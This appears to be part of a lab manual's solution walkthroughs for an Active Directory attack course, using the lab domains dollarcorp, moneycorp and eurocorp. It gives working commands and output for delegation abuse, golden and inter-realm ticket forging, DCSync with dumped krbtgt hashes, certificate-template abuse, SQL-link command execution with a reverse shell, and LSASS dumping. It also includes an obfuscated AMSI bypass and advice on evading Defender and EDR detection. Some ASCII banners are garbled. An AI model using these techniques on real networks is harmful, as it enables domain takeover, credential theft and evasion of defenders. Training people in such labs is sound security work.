SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-1121
IdentityReferenceName : ciadmin
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=ci
admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : user
Recall that we compromised ciadmin from dcorp-ci. We can either use the reverse shell we have on
dcorp-ci as ciadmin or extract the credentials from dcorp-ci.
Let's use the reverse shell that we have and load PowerView there:
Now, set RBCD on dcorp-mgmt for the student VMs. You may like to set it for all the student VMs in
your lab instance so that your fellow students can also try it:
PS C:\Users\Administrator\.jenkins\workspace\Projectx> Set-DomainRBCD -
Identity dcorp-mgmt -DelegateFrom 'dcorp-studentx$' -Verbose
SourceName : DCORP-MGMT$
SourceType : MACHINE_ACCOUNT
SourceSID : S-1-5-21-719815819-3726368948-3917688648-1108
SourceAccountControl : WORKSTATION_TRUST_ACCOUNT
SourceDistinguishedName : CN=DCORP-
MGMT,OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local
ServicePrincipalName : {WSMAN/dcorp-mgmt, WSMAN/dcorp-
mgmt.dollarcorp.moneycorp.local, TERMSRV/DCORP-MGMT,
TERMSRV/dcorp-
mgmt.dollarcorp.moneycorp.local...}
DelegatedName : DCORP-STUDENT1$
DelegatedType : MACHINE_ACCOUNT
DelegatedSID : S-1-5-21-719815819-3726368948-3917688648-4110
DelegatedAccountControl : WORKSTATION_TRUST_ACCOUNT
DelegatedDistinguishedName : CN=DCORP-
STUDENT1,OU=StudentMachines,DC=dollarcorp,DC=moneycorp,DC=local
[snip]
Get AES keys of your student VM (as we configured RBCD for it above)
With Rubeus, abuse the RBCD to access dcorp-mgmt as Domain Administrator - Administrator:
C:\Windows\system32>C:\AD\Tools\Rubeus.exe s4u /user:dcorp-student1$
/aes256:bd05cafc205970c1164eb65abe7c2873dbfacc3dd790821505e0ed3a05cf23cb
/msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt
[snip]
[*] Impersonating user 'administrator' to target SPN 'http/dcorp-mgmt'
[*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1)
[snip]
C:\Users\Administrator.dcorp>set username
Set username
USERNAME = administrator
C:\Users\Administrator.dcorp>set computername
Set computername
COMPUTERNAME=dcorp-mgmt
Solution
We need the trust key for the trust between dollarcorp and moneycrop, which can be retrieved using
Mimikatz or SafetyKatz.
Start a process with DA privileges. Run the below command from an elevated command prompt:
C:\AD\Tools>C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Using SafetyKatz.exe
Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to
extract credentials. Please note that the trust key may be differnet in your lab instance:
C:\Users\svcadmin>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/SafetyKatz.exe
[snip]
mimikatz # lsadump::trust /patch
Forge a ticket with SID History of Enterprise Admins. Run the below command from an elevated
command prompt:
C:\Windows\system32>C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-
3279953914-519 /rc4:132f54e05f7c3db02e97c00ff3879067 /service:krbtgt
/target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
[snip]
User : Administrator
Domain : dollarcorp.moneycorp.local (DOLLARCORP)
SID : S-1-5-21-719815819-3726368948-3917688648
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-335606122-960912869-3279953914-519 ;
ServiceKey: 132f54e05f7c3db02e97c00ff3879067 - rc4_hmac_nt
Service : krbtgt
Target : moneycorp.local
Lifetime : 3/3/2023 9:53:36 AM ; 2/28/2033 9:53:36 AM ; 2/28/2033 9:53:36 AM
-> Ticket : C:\AD\Tools\trust_tkt.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Directory of \\mcorp-dc.moneycorp.local\c$
PS C:\WINDOWS\system32> cd C:\AD\Tools\
PS C:\AD\Tools> $sess = New-PSSession -ComputerName dcorp-
dc.dollarcorp.moneycorp.local
PS C:\AD\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> S`eT-
It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE](
"{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -
VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'
s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -
f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f
('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> exit
[snip]
[snip]
Create the inter-realm TGT by running the below command on your machine:
PS C:\AD\Tools\kekeo_old> Invoke-Mimi -Command '" kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-
3279953914-519 /rc4:132f54e05f7c3db02e97c00ff3879067 /service:krbtgt
/target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
[snip]
User : Administrator
Domain : dollarcorp.moneycorp.local (DOLLARCORP)
SID : S-1-5-21-719815819-3726368948-3917688648
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-335606122-960912869-3279953914-519;
ServiceKey: 132f54e05f7c3db02e97c00ff3879067 - rc4_hmac_nt
Service : krbtgt
Target : moneycorp.local
[snip]
Final Ticket Saved to file !
Next, create a TGS for a service (CIFS) in the parent domain (moneycorp.local):
.#####. AskTGS Kerberos client 1.0 (x86) built on Dec 8 2016 00:31:13
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' * * */
Ticket : C:\AD\Tools\kekeo_old\trust_tkt.kirbi
Service : krbtgt / moneycorp.local @ dollarcorp.moneycorp.local
Principal : Administrator @ dollarcorp.moneycorp.local
Now, try to access the target service - a success means escalation to the parent DA:
PS C:\AD\Tools\kekeo_old> ls \\mcorp-dc.moneycorp.local\c$
Directory: \\mcorp-dc.moneycorp.local\c$
Solution
We already have the krbtgt hash from dcorp-dc. Let's create the inter-realm TGT and inject. Run the
below command from an elevated command prompt:
[snip]
Golden ticket for 'Administrator @ dollarcorp.moneycorp.local' successfully
submitted for current session
DD9MWHA3(commandline) # exit
Bye!
Directory of \\mcorp-dc.moneycorp.local\c$
Sweet! Let's run DCSync agains mcorp-dc to extract secrets from it:
C:\Windows\system32>C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync
/user:mcorp\krbtgt /domain:moneycorp.local" "exit"
[snip]
** SAM ACCOUNT **
Credentials:
Hash NTLM: a0981492d5dfab1ae0b97b51ea895ddf
ntlm- 0: a0981492d5dfab1ae0b97b51ea895ddf
lm - 0: 87836055143ad5a507de2aaeb9000361
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 7c7a5135513110d108390ee6c322423f
* Primary:Kerberos-Newer-Keys *
Default Salt : MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
90ec02cc0396de7e08c7d5a163c21fd59fcb9f8163254f9775fc2604b9aedb5e
aes128_hmac (4096) : 801bb69b81ef9283f280b97383288442
[snip]
Awesome!
Solution
We need the trust key for the trust between dollarcorp and eurocrop, which can be retrieved using
Mimikatz or SafetyKatz.
Start a process with DA privileges. Run the below command from an elevated command prompt:
C:\AD\Tools>C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Using SafetyKatz.exe
Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to
extract credentials. Please note that the trust key may be differnet in your lab instance:
C:\Users\svcadmin>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/SafetyKatz.exe
[snip]
mimikatz # lsadump::trust /patch
[snip]
Domain: EUROCORP.LOCAL (ecorp / S-1-5-21-3333069040-3914854601-3606488808)
Forge an inter-realm TGT. Run the below command from an elevated command prompt:
C:\Windows\system32>C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
719815819-3726368948-3917688648 /rc4:163373571e6c3e09673010fd60accdf0
/service:krbtgt /target:eurocorp.local
/ticket:C:\AD\Tools\trust_forest_tkt.kirbi" "exit"
[snip]
User : Administrator
Domain : dollarcorp.moneycorp.local (DOLLARCORP)
SID : S-1-5-21-719815819-3726368948-3917688648
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 163373571e6c3e09673010fd60accdf0 - rc4_hmac_nt
Service : krbtgt
Target : eurocorp.local
Lifetime : 3/3/2023 10:01:56 AM ; 2/28/2033 10:01:56 AM ; 2/28/2033 10:01:56
AM
-> Ticket : C:\AD\Tools\trust_forest_tkt.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Directory of \\eurocorp-dc.eurocorp.local\SharedwithDCorp
C:\Windows\system32>type \\eurocorp-
dc.eurocorp.local\SharedwithDCorp\secret.txt
Dollarcorp DAs can read this!
[snip]
[snip]
.#####. AskTGS Kerberos client 1.0 (x86) built on Dec 8 2016 00:31:13
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' * * */
Ticket : C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi
Service : krbtgt / eurocorp.local @ dollarcorp.moneycorp.local
Principal : Administrator @ dollarcorp.moneycorp.local
> CIFS/eurocorp-dc.eurocorp.local
* Ticket in file 'CIFS.eurocorp-dc.eurocorp.local.kirbi'
Present the TGS to the service (CIFS) in the target forest (eurocorp.local):
PS C:\AD\Tools\kekeo_old> ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
Directory: \\eurocorp-dc.eurocorp.local\SharedwithDCorp
Solution
We can use the Certify tool to check for AD CS in moneycorp.
C:\AD\Tools>C:\AD\Tools\Certify.exe cas
_ _
/ | | | (_)/ _|
| | _ | |_ _| |_ _ _
| | / _ \ ' | | | _| | | |
| | | / | | |_| | | | |_| |
\ \ |_| \ |_|_| \ , |
/ |
| ./
v1.0.0
We can list all the templates using the following command. Going through the output we can find some
interesting templates:
C:\AD\Tools>C:\AD\Tools\Certify.exe find
_ _
/ | | | (_)/ _|
| | _ | |_ _| |_ _ _
| | / _ \ ' | | | _| | | |
| | | / | | |_| | | | |_| |
\ \ |_| \ |_|_| \ , |
Sweet! The HTTPSCertificates template grants enrollment rights to RDPUsers group and allows
requestor to supply Subject Name. Recall that studentx is a member of RDPUsers group. This means that
we can request certificate for any user as studentx.
Copy all the text between -----BEGIN RSA PRIVATE KEY----- and ---------- END
CERTIFICATE ----- and save it to esc1.pem.
We need to convert it to PFX to use it. Use openssl binary on the student VM to do that. I will use
SecretPass@123 as the export password.
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
V2.2.1
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentx, CN=Users,
DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for:
'dollarcorp.moneycorp.local\administrator'
[+] TGT request successful!
[snip]
Awesome! We can use similar method to escalate to Enterprise Admin privileges. Request a certificate
for Enterprise Administrator - Administrator
Save the certificate to esc1-EA.pem and convert it to PFX. I will use SecretPass@123 as the export
password:
CA Name : mcorp-
dc.moneycorp.local\moneycorp-MCORP-DC-CA
Template Name : SmartCardEnrollment-Agent
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN,
SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Certificate Request Agent
mspki-certificate-application-policy : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1-5-21-
335606122-960912869-3279953914-513
mcorp\Domain Admins S-1-5-21-
335606122-960912869-3279953914-512
mcorp\Enterprise Admins S-1-5-21-
335606122-960912869-3279953914-519
The "SmartCardEnrollment-Agent" template has EKU for Certificate Request Agent and grants
enrollment rights to Domain users. If we can find another template that has an EKU that allows for
domain authentication and has application policy requirement of certificate request agent, we can
request certificate on behalf of any user.
C:\AD\Tools>C:\AD\Tools\Certify.exe find
[snip]
Sweet! Now, request an Enrollment Agent Certificate from the template "SmartCardEnrollment-Agent":
Like earlier, save the certificate text to esc3.pem and convert to pfx. Let's keep using SecretPass@123 as
the export password:
Now we can use the Enrollment Agent Certificate to request a certificate for DA from the template
SmartCardEnrollment-Users:
_ _
/ | | | (_)/ _|
| | _ | |_ _| |_ _ _
| | / _ \ ' | | | _| | | |
| | | / | | |_| | | | |_| |
\ \ |_| \ |_|_| \ , |
/ |
| ./
v1.0.0
Once again, save the certificate text to esc3-DA.pem and convert the pem to pfx. Still using
SecretPass@123 as the export password:
Use the esc3-DA created above with Rubeus to request a TGT for DA
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentx, CN=Users,
DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for:
'dollarcorp.moneycorp.local\administrator'
[+] TGT request successful!
[snip]
Check if we actually have DA privileges now:
Convert the pem to esc3-EA.pfx using openssl and use the pfx with Rubeus:
C:\AD\Tools>C:\AD\Tools\Certify.exe cas
[snip]
[*] Enterprise/Enrollment CAs:
C:\AD\Tools>C:\AD\Tools\Certify.exe find
[snip]
CA Name : mcorp-dc.moneycorp.local\moneycorp-
MCORP-DC-CA
Template Name : CA-Integration
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
[snip]
Sweet! As a member of RDPUsers group, we can request a certificate for any user using CA-Integration
template. Let's do it for DA. If you want to escalate to EA, use
/altname:moneycorp.local\administrator in the below command:
Solution
Let’s start with enumerating SQL servers in the domain and if studentx has privileges to connect to any
of them. We can use PowerUpSQL module for that. Run the below command from a PowerShell session
started using Invisi-Shell:
PS C:\AD\Tools\PowerUpSQL-master> Import-Module C:\AD\Tools\PowerUpSQL-
master\PowerupSQL.psd1
PS C:\AD\Tools\PowerUpSQL-master> Get-SQLInstanceDomain | Get-SQLServerinfo -
Verbose
VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed.
VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed.
VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local,1433 : Connection Success.
VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success.
VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local,1433 : Connection Failed.
VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local : Connection Failed.
ComputerName : dcorp-mssql.dollarcorp.moneycorp.local
Instance : DCORP-MSSQL
DomainName : dcorp
ServiceProcessID : 2848
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered : No
SQLServerVersionNumber : 14.0.1000.169
SQLServerMajorVersion : 2017
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsVersionNumber : SQL
Currentlogin : dcorp\studentx
IsSysadmin : No
ActiveSessions : 1
ComputerName : dcorp-mssql.dollarcorp.moneycorp.local
Instance : DCORP-MSSQL
DomainName : dcorp
ServiceProcessID : 2848
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
So, we can connect to dcorp-mssql. Using HeidiSQL client, let’s login to dcorp-mssql using windows
authentication of studentx. After login, enumerate linked databases on dcorp-mssql:
select * from master..sysservers
So, there is a database link to dcorp-sql1 from dcorp-mssql. Let’s enumerate further links from dcorp-
sql1. This can be done with the help of openquery:
select * from openquery("DCORP-SQL1",'select * from master..sysservers')
If xp_cmdshell is enabled (or RPC out is true - which is set to false in this case), it is possible to execute
commands on eu-sqlx using linked databases. To avoid dealing with a large number of quotes and
escapes, we can use the following command:
PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-
mssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'set
username'"
[snip]
Let’s try to execute a PowerShell download execute cradle to execute a PowerShell reverse shell on the
eu-sqlx instance. Remember to start a listener:
On the listener:
C:\AD\Tools>C:\AD\Tools\netcat-win32-1.12\nc64.exe -lvp 443
listening on [any] 443 ...
172.16.15.17: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.16.100.x] from (UNKNOWN) [172.16.15.17] 50410: NO_DATA
PS C:\Windows\system32> $env:username
system
PS C:\Windows\system32> $env:computername
eu-sqlx
PS C:\Windows\system32>
PS C:\Windows\system32> $env:userdnsdomain
eu.eurocorp.local
Solution
Continuing from the previous Learning Objective, we have ability to run commands as SYSTEM on eu-
sqlx. This is perfect to leverage to perfrom an LSASS dump to further gain persistent credential access to
the machine.
To dump the memory of LSASS process, we can begin by leveraging minidumpdotnet as it is undetected
by AV / MDE since it uses a custom implementation of the MiniDumpWriteDump() API call.
On the student VM, create an SMB share called - studentsharex with the following configuration:
Allow Everyone ‘Read amd Write’ permissions on the share.
Note: To make it easier in the lab we have enabled Guest access on the student VM so that eu-sqlx can
access our studentsharex. Note that your student machine name could also be dcorp-stdx
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS C:\AD\Tools> Import-Module C:\AD\Tools\PowerUpSQL-master\PowerupSQL.psd1
PS C:\AD\Tools> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec
master..xp_cmdshell ''\\dcorp-
studentx.dollarcorp.moneycorp.local\studentsharex\FindLSASSPID.exe''' -
QueryTarget eu-sqlx
[..snip..]
To break a detection chain, we will run benign queries. In case of MDE, in our experience waiting for
about 10 minutes also helps in avoiding detection.
PS C:\AD\Tools> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'SELECT
@@version' -QueryTarget eu-sqlx
[..snip..]
We can now perform an LSASS dump using the minidumpdotnet tool and save it to the studentsharex.
NOTE: Performing an LSASS dump directly on disk on eu-sql can cause the .dmp file to be corrupted as
EDRs can sometimes mangle the .dmp file when written on disk.
PS C:\AD\Tools> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec
master..xp_cmdshell ''\\dcorp-
studentx.dollarcorp.moneycorp.local\studentsharex\minidumpdotnet.exe 712
\\dcorp-studentx.dollarcorp.moneycorp.local\studentsharex\monkeyx.dmp ''' -
QueryTarget eu-sqlx
[..snip..]
Note that since the memory dump is being written to a fileshare, you may need to wait for up to 10
minutes. The dump file size will initially be 0KB but eventually be something approximately 10MB.
Perform another benign query for safe measure to break any detection chain:
PS C:\AD\Tools> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'SELECT *
FROM master.dbo.sysdatabases' -QueryTarget eu-sqlx
[..snip..]
Back on our studentvm we can now begin to parse the exfiltrated LSASS minidump (monkey.dmp) using
mimikatz as follows. Run the below command from an elevated shell (Run as administrator):
NOTE: If you encounter errors parsing the minidump file, most likely your student VM memory is full.
Attempt a quick fix by logging in and out of the student VM. Also, turn off Windows Defender on the
student VM.
[....snip. ...]
*
Username : dbadmin
*
Domain : EU.EUROCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
ef21ff273f16d437948ca755d010d5a1571a5bda62a0a372b29c703ab0777d4f
Now, use Overpass-the-hash on the student VM using Rubeus to start a process with privileges of the
dbadmin user who is a member of eu.eurocorp.local. Run the below command from a high integrity
process on student VM (Run as administrator):
C:\Windows\system32>C:\AD\Tools\Rubeus.exe asktgt /user:dbadmin
/aes256:ef21ff273f16d437948ca755d010d5a1571a5bda62a0a372b29c703ab0777d4f
/domain:eu.eurocorp.local /dc:eu-dc.eu.eurocorp.local /opsec
/createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[...snip...]
ServiceName : krbtgt/EU.EUROCORP.LOCAL
ServiceRealm : EU.EUROCORP.LOCAL
UserName : dbadmin
UserRealm : EU.EUROCORP.LOCAL
[snip]
C:\Users\dbadmin>set username
set username
USERNAME=dbadmin
Note that use of winrs is not detected by MDE but MDI (Microsoft Defender for Identity) detects it.
To avoid detection, we can use the WSManWinRM.exe tool. We will append an ASR exclusion such as
“C:\Windows\ccmcache\” to avoid detections from the "Block process creations originating from PSExec
and WMI commands" ASR rule. Run the below command from the process spawned as dbadmin:
NOTE: If the tool returns a value of 0, there is an error with command execution.
To see the command output, we can redirect the command to share on the student VM. This has very
limited success and we are continuously trying ways to make it more effective.